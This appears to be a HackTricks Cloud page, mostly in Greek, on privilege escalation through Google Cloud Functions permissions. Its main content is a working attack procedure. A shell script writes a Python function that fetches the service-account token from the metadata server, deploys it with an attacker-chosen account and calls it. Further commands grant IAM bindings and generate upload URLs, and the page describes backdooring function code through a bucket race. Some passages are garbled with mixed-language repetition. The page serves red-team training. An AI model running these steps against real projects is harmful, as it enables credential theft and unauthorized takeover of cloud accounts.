GCP - Cloudfunctions Privesc
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
cloudfunctions
Περισσότερες πληροφορίες για Cloud Functions:
cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs
Ένας επιτιθέμενος με αυτά τα προνόμια μπορεί να δημιουργήσει μια νέα Cloud Function με αυθαίρετο (κακόβουλο) κώδικα και να της αναθέσει ένα Service Account. Στη συνέχεια, leak το Service Account token από τα metadata για να κλιμακώσει τα προνόμια σε αυτό.
Μπορεί να απαιτούνται κάποια προνόμια για να ενεργοποιηθεί η function.
Exploit scripts for this method can be found here and here and the prebuilt .zip file can be found here.
cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs
Ένας επιτιθέμενος με αυτά τα προνόμια μπορεί να τροποποιήσει τον κώδικα μιας Function και ακόμη να τροποποιήσει το συνδεδεμένο service account με στόχο την εξαγωγή του token.
Caution
Για να αναπτύξετε cloud functions θα χρειαστείτε επίσης δικαιώματα actAs πάνω στο default compute service account ή πάνω στο service account που χρησιμοποιείται για την κατασκευή του image.
Κάποια επιπλέον προνόμια όπως το δικαίωμα .call για version 1 cloudfunctions ή ο ρόλος role/run.invoker για να trigger η function μπορεί να απαιτούνται.
# Create new code
temp_dir=$(mktemp -d)
cat > $temp_dir/main.py <<EOF
import subprocess
def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF
echo "" > $temp_dir/requirements.txt
zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt
# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated
# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>
Caution
Αν λάβετε το σφάλμα
Permission 'run.services.setIamPolicy' denied on resource...είναι επειδή χρησιμοποιείτε την παράμετρο--allow-unauthenticatedκαι δεν έχετε τα απαραίτητα δικαιώματα για αυτήν.
The exploit script for this method can be found here.
cloudfunctions.functions.sourceCodeSet
Με αυτή την άδεια μπορείτε να αποκτήσετε ένα signed URL για να ανεβάσετε ένα αρχείο σε ένα function bucket (αλλά ο code της function δεν θα αλλάξει, χρειάζεται ακόμα να το ενημερώσετε)
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
Δεν είμαι πραγματικά σίγουρος πόσο χρήσιμη είναι μόνο αυτή η άδεια από την πλευρά ενός attackers, αλλά καλό να το ξέρεις.
cloudfunctions.functions.setIamPolicy , iam.serviceAccounts.actAs
Χορήγησε στον εαυτό σου οποιοδήποτε από τα προηγούμενα δικαιώματα .update ή .create για να escalate.
gcloud functions add-iam-policy-binding <NOMBRE_FUNCION> \
--region=<REGION> \
--member="<MIEMBRO>" \
--role="roles/cloudfunctions.invoker"
cloudfunctions.functions.update
Έχοντας μόνο τα δικαιώματα cloudfunctions, χωρίς iam.serviceAccounts.actAs δεν θα μπορείτε να ενημερώσετε τη συνάρτηση — ΕΠΟΜΕΝΩΣ ΑΥΤΟ ΔΕΝ ΕΙΝΑΙ ΕΓΚΥΡΟ PRIVESC.
Κλήση συναρτήσεων
Με τα δικαιώματα cloudfunctions.functions.get, cloudfunctions.functions.invoke, run.jobs.run και run.routes.invoke, μια ταυτότητα μπορεί να καλέσει απευθείας τις Cloud Functions. Επίσης είναι απαραίτητο η συνάρτηση να επιτρέπει δημόσια κίνηση ή ο καλών να βρίσκεται στο ίδιο δίκτυο με τη συνάρτηση.
curl -X POST "https://<FUNCTION_URL>" \
-H "Authorization: bearer $(gcloud auth print-identity-token)" \
-H "Content-Type: application/json" \
-d '{ "name": "Developer" }'
Πρόσβαση ανάγνωσης και εγγραφής στο bucket
Εάν έχετε πρόσβαση ανάγνωσης και εγγραφής στο bucket, μπορείτε να παρακολουθείτε αλλαγές στον κώδικα και κάθε φορά που γίνεται ενημέρωση στο bucket μπορείτε να αντικαταστήσετε τον νέο κώδικα με δικό σας κώδικα έτσι ώστε η νέα έκδοση της Cloud Function να εκτελεστεί με τον υποβληθέντα backdoored code.
You can check more about the attack in:
Ωστόσο, δεν μπορείτε να το χρησιμοποιήσετε για να προ-συμβιβάσετε Cloud Functions τρίτων, επειδή αν δημιουργήσετε το bucket στον λογαριασμό σας και του δώσετε δημόσιες άδειες ώστε το εξωτερικό project να μπορεί να γράψει σε αυτό, θα λάβετε το ακόλουθο σφάλμα:
 (1) (1).png)
Caution
Ωστόσο, αυτό θα μπορούσε να χρησιμοποιηθεί για DoS attacks.
Πρόσβαση ανάγνωσης και εγγραφής στο Artifact Registry
Όταν δημιουργείται μια Cloud Function, μια νέα docker image ωθείται στο Artifact Registry του project. Προσπάθησα να τροποποιήσω το image με ένα καινούργιο, και ακόμη να διαγράψω το τρέχον image (και το cache image) και τίποτα δεν άλλαξε — η Cloud Function συνέχισε να λειτουργεί. Επομένως, ίσως να είναι δυνατό να εκμεταλλευτείτε μια might be possible to abuse a Race Condition attack όπως με το bucket για να αλλάξετε το docker container που θα εκτελεστεί, αλλά just modifying the stored image isn’t possible to compromise the Cloud Function.
Αναφορές
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

